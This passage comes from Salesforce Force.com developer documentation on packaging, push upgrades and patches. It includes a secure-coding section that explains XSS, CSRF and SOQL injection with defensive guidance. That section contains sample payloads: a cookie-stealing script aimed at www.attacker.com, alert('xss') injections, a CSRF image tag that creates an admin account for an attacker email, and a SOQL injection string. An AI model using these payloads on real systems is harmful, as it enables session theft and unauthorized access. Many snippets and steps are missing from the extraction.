The version number represents a release of a package. This field is required for managed and unmanaged packages.
For a managed package, the version number corresponds to a Managed - Released upload. All beta uploads use the
same version number until you upload a Managed - Released package version with a new version number. For example,
the following is a sequence of version numbers for a series of uploads.
1510
Create Preparing Your Apps for Distribution
• Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce.com
components are locked. For a list of locked attributes, see the Force.com Quick Reference for Developing Packages.
• Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for
testing purposes. You'll still be able to change the components and upload additional beta versions. For information
on beta versions, see the Force.com Quick Reference for Developing Packages.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't
be pushed to customer organizations.
• Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.
Note: You cannot deprecate the most recent version of an uploaded managed package.
When you deprecate a package, remember to remove it from AppExchange as well. See “Removing Apps from
AppExchange” in the Force.com AppExchange online help.
1511
Create Managing Uploads
You will receive an email that includes an installation link when your package has been uploaded successfully. Wait a few
moments before clicking the installation link or distributing it to others, as it might take a few minutes for it to become active.
Note: If you uploaded from your Salesforce.com production organization, notify installers who want to install it in a
sandbox organization to replace the “www.salesforce.com” portion of the installation link with “test.salesforce.com”.
Likewise, if you uploaded from a sandbox organization, notify installers who want to install it in their Salesforce.com
production organization to replace the “test.salesforce.com” portion of the installation link with “www.salesforce.com”.
If you published a package from your sandbox, you will only be able to manage it until you create a new copy. Once
you create a new copy of your sandbox, you will no longer be able to manage packages that you uploaded from it.
See Also:
Overview of Packages
Managing Packages
Understanding Dependencies
Managing Uploads
Creating and Uploading Patches
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Managing Uploads
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
After you upload a package to Force.com AppExchange, you can still manage it from Salesforce.com. To manage your uploads:
• Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.
Note: You cannot deprecate the most recent version of an uploaded managed package.
1512
Create Understanding Dependencies
When you deprecate a package, remember to remove it from AppExchange as well. See “Removing Apps from
AppExchange” in the Force.com AppExchange online help.
• Click Undeprecate to make a deprecated upload available for installation again.
Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.
See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Creating and Uploading Patches
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Security Tips for Apex and Visualforce Development
Understanding Dependencies
AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer
Editions
Apex available in: Enterprise, Unlimited, and Developer Editions
Package dependencies are created when one component references another component, permission, or preference, which must
exist for the component to be valid. Force.com tracks certain dependencies, including:
Packages, Apex classes, Apex triggers, Visualforce components, and Visualforce pages can have dependencies on components
within an organization. These dependencies are recorded on the Show Dependencies page.
Dependencies are important for packaging because any dependency in a component of a package is considered a dependency
of the package as a whole.
Note: An installer’s organization must meet all dependency requirements listed on the Show Dependencies page or
else the installation will fail. For example, the installer's organization must have divisions enabled to install a package
that references divisions.
1513
Create Understanding Dependencies
Dependencies are important for Apex classes or triggers because any component on which a class or trigger depends must be
included with the class or trigger when the code is deployed or packaged.
In addition to dependencies, the operational scope is also displayed on the Show Dependencies page. The operational scope is
a table that lists any data manipulation language (DML) operations (such as insert or merge) that an Apex script executes
on a specified object. The operational scope can be used when installing an app to determine the full extent of the app's database
operations.
To view the dependencies and operational scope for a package, Apex class, Apex trigger, or Visualforce page:
If a list of dependent objects displays, click Fields to access the field-level detail of the operational scope. The field-level detail
includes information such as whether a field is updated by an Apex script. For more information, see Field Operational Scope
on page 1515.
Packages, Apex scripts, and Visualforce pages can be dependent on many components, including but not limited too:
For example, if an Visualforce page includes a reference to a multicurrency field, such as {!contract.ISO_code}, that
Visualforce page has a dependency on multicurrency. If a package contains this Visualforce page, it also has a dependency on
multicurrency. Any organization that wants to install this package must have multicurrency enabled.
See Also:
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Field Operational Scope
1514
Create Scheduling Push Upgrades
The fields displayed on the Fields Operational Scope page are referenced through the operational scope:
• If the Is Updated checkbox is selected, the field is updated using a database manipulation language (DML) operation,
such as insert or update. For more information, see Understanding Dependencies on page 1513.
If the Is Updated checkbox is not selected, the field is only referenced within the operational scope. For example, it may
be included as part of a select statement.
• If the External ID checkbox is selected, the field acts as an External ID. An external ID field contains unique record
identifiers from a system outside of Salesforce.com. You can use the Sidebar Search to find external ID values, and you
can use the field in the Force.com API. When using the import wizards for custom objects and solutions, you can use this
field to prevent duplicates.
See Also:
Understanding Dependencies
Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.
After you have created a patch version of your package, you can automatically deploy it to customers using a push upgrade.
1515
Create Scheduling Push Upgrades
Tip: Salesforce.com strongly recommends the following sequence for pushing package upgrades:
1. Push the patch to your own organizations so that you can run tests and fix any bugs before upgrading subscribers.
2. When you're ready, push to your customer's organizations. Try sandbox organizations first, if possible.
3. If the patch applies to your most recent release, deprecate the previous version of your package in your main
development organization. Replace the version on AppExchange if necessary, and update your Trialforce.
4. Run the push upgrade once again to ensure any remaining subscribers are upgraded.
5. After your patch is successfully distributed to subscriber organizations, reintegrate those changes into your main
development organization.
For more information about combining patches into the main development organization, see “Working with Patch
Versions” in the Force.com Quick Reference for Developing Packages.
Read the Best Practices for Push Upgrades and Patch Versions on page 1521 for more information.
5. Enter a Scheduled Start Date, indicating when a push upgrade should begin.
6. Optionally, check Ignore Apex test failures during upgrade.
Caution:
This checkbox should be selected in rare cases when a push upgrade is failing due to an Apex test failure. Only
select this option if both you and your subscriber have reviewed the package you want to upgrade and both agree
that upgrading to the new version is safe. For more information on why your install might have failed, see Resolving
Apex Test Failures on page 1536.
7. In the Select Target Organizations section, select the organizations to receive your push upgrade. If an organization already
received a push upgrade for the selected package version, it won't appear in this list. You can select organizations by:
• Entering a term that filters based on an organization's name or ID. Names can match by partial string, but IDs must
match exactly.
• Choosing between production and sandbox organizations from the Organizations drop-down list.
• Choosing organizations that have already installed a particular version.
• Clicking on individual organizations, or the Select All and Deselect All checkboxes.
This section lists the following information about the organization (in alphabetical order):
Field Description
Current Version The current package version an organization has installed.
1516
Create Scheduling Push Upgrades
Field Description
Organization ID The ID that uniquely identifies the organization to
salesforce.com.
Organization Name The name of the organization. Clicking this name shows
the upgrade history for the organization.
Primary Contact The name of the contact who installed the package.
8. Click Schedule.
While a push upgrade is in progress, you can click Abort to stop it.
On the previous push upgrades page, the Push Upgrade History table lists recently scheduled push upgrades for the package.
See Also:
Viewing Push Upgrade Details
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages
Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.
To view the details of a push upgrade sent by your organization, click Setup ➤ Create ➤ Packages, click the name of the
package you want to view, then click Push Upgrades. To schedule a new push upgrade, click Schedule Push Upgrade.
The Push Upgrade History page lists the status of all your pending and previous push upgrades. To filter your push upgrade
history:
1. Select a version number from the drop-down list. Not selecting any version is equivalent to selecting all of them.
2. Select one or more statuses from the Status list. Not selecting any status is equivalent to selecting all of them.
3. Click Apply to filter the list. Click Clear to remove all the filters.
1517
Create Scheduling Push Upgrades
Column Description
Action While a push upgrade is in progress, you can click Abort to
stop it.
Start Date The scheduled start date and time of the push upgrade.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.
Target The name of the organization the push upgrade went to. For
multiple organizations, this field only lists the first organization
in the queue, followed by the number of the total selected
organizations. Clicking on this link provides you with more
information about the target push upgrade and each individual
organization.
Version The package version number that was pushed.
See Also:
Viewing Push Upgrade Details
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages
Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.
For information about a specific push upgrade that your organization sent, click Setup ➤ Create ➤ Packages, click the name
of the package you want to view, then click Push Upgrades. Clicking on the name of a Target takes you to the Push Upgrade
Details page, which has information both for the push job and each organization that it was pushed to.
The Job Details section has the following information about the overall push upgrade (in alphabetical order):
Field Description
End Date The date and time the push upgrade finished.
1518
Create Scheduling Push Upgrades
Field Description
Ignore Apex Test Failures Whether Apex test failures that may cause the installed
application not to function properly were ignored.
Scheduled By The name of the user who initiated the push upgrade.
Start Date The scheduled start date and time of the push upgrade.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.
Version The package version number that was pushed.
In the Organizations section, you can get a list of all the organizations that received a push upgrade. You can filter organizations
by using the search box and entering a term that filters based on an organization's name or ID. Names can match by partial
string, but IDs must match exactly. From the drop-down list, you can also filter based on the status of the push upgrade.
The list contains the following information specific to each organization (in alphabetical order):
Field Description
Duration The amount of time the push upgrade took.
Failure Type Lists the type of failure that occurred (if any). If the push
upgrade did fail, a possible explanation is provided in the
collapsible section. If the push upgrade was unsuccessful, click
Retry to try it again.
Organization ID The ID that uniquely identifies the organization to
salesforce.com.
Organization Name The name of the organization. Clicking this name shows the
upgrade history for the organization.
Start The scheduled start date and time of the push upgrade.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.
See Also:
Viewing Push Upgrade History
Scheduling Push Upgrades
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages
1519
Create Scheduling Push Upgrades
Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.
For more information about a specific organization that received a push upgrade, click Setup ➤ Create ➤ Packages, click
the name of the package you want to view, then click on the name of a Target. Clicking on an organization in the target list
provides the following details (in alphabetical order):
Field Description
Current Version The current package version an organization has installed.
Organization ID The ID that uniquely identifies the organization to
salesforce.com.
Organization Name The name of the organization.
Primary Contact The name of the contact who installed the package.
Primary Contact Email The email address of the package publisher.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.
The Push Upgrade History lists the following information (in alphabetical order):
Field Description
Action Clicking View Details returns you to the job details for that
upgrade.
Start Date The scheduled start date and time of the push upgrade.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.
1520
Create Scheduling Push Upgrades
Field Description
Version The package version number that was pushed.
See Also:
Viewing Push Upgrade Details
Viewing Push Upgrade History
Creating and Uploading Patches
Scheduling Push Upgrades
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages
Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.
• Pushes can be scheduled to run immediately, or at a future date. It's recommend that you schedule push upgrades at off-peak
hours to minimize potential subscriber impact.
• Only ignore Apex tests after confirming with your customer that it's safe to upgrade.
• Visualforce pages that are refreshed while a push upgrade is in process may lose their view state if the page or controller is
changed.
• To push new translations for existing components, add the languages for those translations to the package when you upload
it as a major release. Then, add the individual translations in patch releases.
• Visible changes to a package shouldn't be performed in a patch. Other than a change in the package version number,
subscribers aren't notified of push upgrades.
• Changes to validation rules, formula fields, and errors thrown from Apex triggers are highly discouraged, as they may
negatively impact subscribers integrations.
1521
Create Developing App Documentation
Salesforce.com recommends publishing your app on Force.com AppExchange with the following types of documentation:
About Tab
Most apps are installed by an administrator. Therefore, most users are not aware of an app until it is deployed. After
deployment, an About tab is very useful to users and can give them an introduction to the entire app.
An About tab is a custom tab included with an app on AppExchange. It provides users with:
Providing users with training options is the best way to ensure customer adoption of your app. Similar to the way that
salesforce.com provides free training, you should provide user training for commercial applications either through webinars
or recorded presentations. Include a section in your About tab that covers how to get training on the app.
If users of your app call salesforce.com for assistance, we will try to determine if the issue resides with our application or
yours. We can only support our application, our standard user interface, and the installation of apps. If the customer is
asking about functionality that is unique to your app, we will ask them to examine the About tab for information on
how to get support for your app. We expect commercial apps to provide support that is similar to the support salesforce.com
offers and that the About tab contain contact information for this support.
Configure Option
You can include a Configure option for installers of your app. This option can link to installation and configuration
details such as:
The Configure option is included in your package as a custom link. You can create a custom link for your home page
layouts and add it to your package. To do this:
1. Create a custom link to a URL that contains configuration information or a Visualforce page that implements
configuration. When you create your custom link, set the display properties to Open in separate popup window
so that the user returns to the same Salesforce.com page when done.
2. When you create the package, choose this custom link in the Configure Custom Link field of your package
detail.
Data Sheet
Give installers the fundamental information they need to know about your app before they install.
1522
Create Assigning Force.com AppExchange Publishers
Custom Help
You can provide custom help for your custom object records and custom fields.
Tip: To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com
Style Guide for Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to
design your pages.
See Also:
Overview of Packages
Assigning Force.com AppExchange Publishers
Users that publish packages on Force.com AppExchange must have the following user permissions:
Create Force.com AppExchange packages
Allows a user to create packages and add components to it.
The System Administrator profile automatically has both these permissions, as well as any custom profile with the “Customize
Application” and “Modify All Data” permissions. Determine which of your users should have these permissions and add them
to the appropriate user profiles.
See Also:
Overview of Packages
Developing App Documentation
1523
Create Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce.com or create a completely new stand-alone product running inside the Force.com platform.
However, as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the
coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities,
while others are unique to Apex.
To certify an application for Force.com AppExchange, it is important that developers learn and understand the security flaws
described here. For additional information, see the Force.com Security Resources page on Developer Force at
http://wiki.developerforce.com/index.php/Security.
See Also:
Managing Uploads
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input,
but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety
1524
Create Security Tips for Apex and Visualforce Development
of attacks against the victim. These range from simple actions such as opening and closing windows, to more malicious attacks
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/articles/xss-faq.shtml
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,
the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to < so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
<script>
var foo = location.search;
document.write(foo);
</script>
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value
1525
Create Security Tips for Apex and Visualforce Development
provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to
include a user's session ID in a link, they could create the link using the following syntax:
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>
<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>
Formula expressions can be function calls or include information about platform objects, a user's environment, system
environment, and the request environment. An important feature of these expressions is that data is not escaped during
rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript
or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system
data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output
during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>
Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the
request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>
1526
Create Security Tips for Apex and Visualforce Development
The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement
of the {!$Request.*} expression in the example, the above attack could be prevented by using the following nested
SUBSTITUTE() calls.
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped
counterparts may vary. For instance, this statement:
requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
results in:
Additionally, the ret variable may need additional client-side escaping later in the page if it is used in a way which may cause
included HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and may not have been screened for malicious content.
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/articles/csrf-faq.shtml
1527
Create Security Tips for Apex and Visualforce Development
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page may have
sent the user to this page using a CSRF attack and could have provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around could be to insert
an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.
SOQL Injection
In other programming languages, this flaw is known as SQL injection. Apex does not use SQL, but uses its own database
query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much
lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary
SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is
not validated, it may include SOQL commands that effectively modify the SOQL statement and trick the application into
performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection
1528
Create Security Tips for Apex and Visualforce Development
</apex:form>
</apex:page>
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
SOQL query is built dynamically and then executed with the Database.query method. If the user provided a normal value,
the statement executes as expected:
name = Bob
sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.
1529
Create Creating and Uploading Patches
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.
Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.
Patch versions are developed and maintained in a patch development organization. For more information on push upgrades
and patches, see the Force.com Quick Reference for Developing Packages. You can also read the Best Practices for Push
Upgrades and Patch Versions on page 1521 for more information.
To create a patch version:
1530
Create Creating and Uploading Patches
4. Select the package version that you want to create a patch for in the Patching Major Release drop-down list. The release
type must be Managed - Released for a patch to be created.
5. Enter a Username for a login to your patch organization.
6. Enter an Email Address associated with your login.
7. Click Save.
Note: If you ever lose your login information, click Reset on the package detail page under Patch Development
Organizations to reset the login to your patch development organization.
After you receive an email indicating Salesforce.com has created your patch development organization, you can click Login
to begin developing your patch version.
Development in a patch development organization is restricted. The following is a list of caveats when developing patches in
a patch development organization:
When you finish developing your patch, in your patch development organization:
1. Click Setup ➤ Create ➤ Packages and click the name of the package.
2. Click Upload. On the Upload Package page, do the following:
a. Enter a Version Name, such as June 2009. This field is required for managed and unmanaged packages. The version
name is the marketing name for a specific release of a package and allows you to create a more descriptive title for the
version.
b. Notice that the Version Number has had its patchNumber incremented.
c. For managed packages, select a Release Type:
• Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce.com
components are locked. For a list of locked attributes, see the Force.com Quick Reference for Developing Packages.
• Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for
testing purposes. You'll still be able to change the components and upload additional beta versions. For information
on beta versions, see the Force.com Quick Reference for Developing Packages.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't
be pushed to customer organizations.
1531
Create Converting Unmanaged Packages to Managed
g. Click Upload.
To distribute your patch, you can either share the upload link, or schedule a push upgrade.
See Also:
Scheduling Push Upgrades
Viewing Push Upgrade History
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages
Your organization may already have uploaded and registered packages on Force.com AppExchange directory. All packages
uploaded prior to the Winter '07 release are unmanaged, meaning they cannot be upgraded in the installer's organization. You
can convert them to managed packages by configuring your organization for managed packages and choosing a package to be
managed. This allows you to notify installers when an upgrade is ready for them to install.
Before you convert an existing package to managed, notify your current installers of how to save their data:
1. Export all the data from the previous, unmanaged version of the package.
2. Uninstall the unmanaged package.
3. Install the new managed version of the package.
4. Import all the exported data into the new managed package.
Note: Note to installers: if you have made customizations to an installation of an unmanaged package, make a list
of these customizations before uninstalling since you may want to implement them again. However, some
customizations will not be possible with a managed package. See the Force.com Quick Reference for Developing
Packages.
1532
Create Publishing Extensions to Managed Packages
Caution: Converting an unmanaged package to managed requires registering a namespace prefix that affects the API
names of uniquely named package components such as custom fields or s-controls. S-controls stored in the s-control
library or the Documents tab that do not use the Force.com API still function properly after you register a namespace
prefix. However, s-controls stored outside of your organization or s-controls that use the Force.com API to call
Salesforce.com may require some fine-tuning. For more information, see the S-control standard object page in the
Web Services API Developer's Guide.
See Also:
Managing Packages
Enabling Managed Packages for Your Organization
An extension is any package, component, or set of components that adds to the functionality of a managed package. An
extension requires that the base managed package be installed in the organization. For example, if you have built a recruiting
app, an extension to this app might include a component for performing background checks on candidates.
The community of developers, users, and visionaries building and publishing apps on Force.com AppExchange is part of what
makes Force.com such a rich development platform. Use this community to build extensions to other apps and encourage
them to build extensions to your apps.
To publish extensions to a managed package:
1. Install the base package in the Salesforce.com organization that you plan to use to upload the extension.
2. Build your extension components.
Note: To build an extension, install the base package and include a dependency to that base package in your
package. The extension attribute will automatically become active.
3. Create a new package and add your extension components. Salesforce.com automatically includes some related components.
For more information, see the Force.com Quick Reference for Developing Packages.
4. Upload the new package that contains the extension components.
5. Proceed with the publishing process as usual. For information on creating a test drive or registering and publishing your
app, go to http://sites.force.com/appexchange/publisherHome.
1533
Create Publishing Upgrades to Managed Packages
Note: Packages cannot be upgraded to Managed - Beta if they are used within the same organization as an extension.
See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Uploads
Publishing Upgrades to Managed Packages
As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the
components in a managed package are automatically included in subsequent uploads of that package, with one exception.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that
the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in
each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator
should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic
Apex Access in Packages on page 1700.
To publish upgrades to a managed package:
1. Select the package from the list of packages available at Setup ➤ Create ➤ Packages.
2. View the list of package components. Changes you have made to components in this package are automatically included
in this list. If the changes reference additional components, those components are automatically included as well. To add
new components, click Add to add them to the package manually.
3. Click Upload and upload it as usual.
Note:
After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot
install an older version. Deprecation prevents new installations of older versions without affecting existing
installations. For more information, see Managing Uploads on page 1512.
You cannot deprecate the most recent version of a managed package upload.
1534
Create Publishing Upgrades to Managed Packages
4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the
new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this
information. The License Management Application (LMA) automatically stores the version number that your installers
have in their organizations.
See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Uploads
Creating and Uploading Patches
Publishing Extensions to Managed Packages
As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the
components in a managed package are automatically included in subsequent uploads of that package, with one exception.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that
the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in
each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator
should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic
Apex Access in Packages on page 1700.
To publish upgrades to a managed package:
1. Select the package from the list of packages available at Setup ➤ Create ➤ Packages.
2. View the list of package components. Changes you have made to components in this package are automatically included
in this list. If the changes reference additional components, those components are automatically included as well. To add
new components, click Add to add them to the package manually.
3. Click Upload and upload it as usual.
Note:
After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot
install an older version. Deprecation prevents new installations of older versions without affecting existing
installations. For more information, see Managing Uploads on page 1512.
1535
Develop Resolving Apex Test Failures
You cannot deprecate the most recent version of a managed package upload.
4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the
new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this
information. The License Management Application (LMA) automatically stores the version number that your installers
have in their organizations.
See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Uploads
Creating and Uploading Patches
Publishing Extensions to Managed Packages
Package installs or upgrades may fail for not passing Apex test coverage. However, some of these failures can be ignored. For
example, a developer might write an Apex test that makes assumptions about a subscriber's data.
If you're a subscriber whose installation is failing due to an Apex test, contact the developer of the package for help.
If you're a developer and an install fails due to an Apex test failure, check for the following:
• Make sure that you are staging all necessary data required for your Apex test, instead of relying on subscriber data that
exists
• If a subscriber creates a validation rule, required field, or trigger on an object referenced by your package, your test may
fail if it performs DML on this object. If this object is created only for testing purposes and never at runtime, and the
creation fails due to these conflicts, you may be safe to ignore the test and continue the test. Otherwise, contact the customer
and determine the impact.
DEVELOP
Development Overview
The available setup options vary according to which Salesforce.com Edition you have.
Click Setup ➤ Develop to access the following options. These app builder tools may require some programming knowledge:
1536
Develop Development Overview
Apex Classes
Available in Developer, Enterprise, and Unlimited Editions only. Define Apex classes that you can use to add additional
business logic to your custom applications.
Apex Triggers
Available in Developer, Enterprise, and Unlimited Editions only. View all Apex triggers defined for your organization.
API
Available in Enterprise, Unlimited, and Developer Editions only. Download WSDL files that allow you to integrate
external applications with Salesforce.com.
Components
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Define custom Visualforce components
that you can use in one or more Visualforce pages.
Custom Settings
Available in Developer, Enterprise, and Unlimited Editions. Create and manage custom data for your organization.
Email Services
Available in Developer Edition only. Define Apex classes that can process inbound email.
Pages
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Define Visualforce pages that display
your own custom user interfaces.
S-Controls
Upload content such as Java applets or Active-X controls for use in dynamic custom links or Web tabs.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.
Sites
Available in Developer, Enterprise, and Unlimited Editions. Create public websites and applications that are integrated
into Salesforce.com.
Static Resources
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Upload content that you can reference
in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets, JavaScript programs, and
other files.
Remote Access
Available in all editions. Create and manage a remote access application. A remote access application is an application
external to Salesforce.com that uses the OAuth protocol to verify both the Salesforce.com user and the external application.
1537
Develop Force.com Apex Code Overview
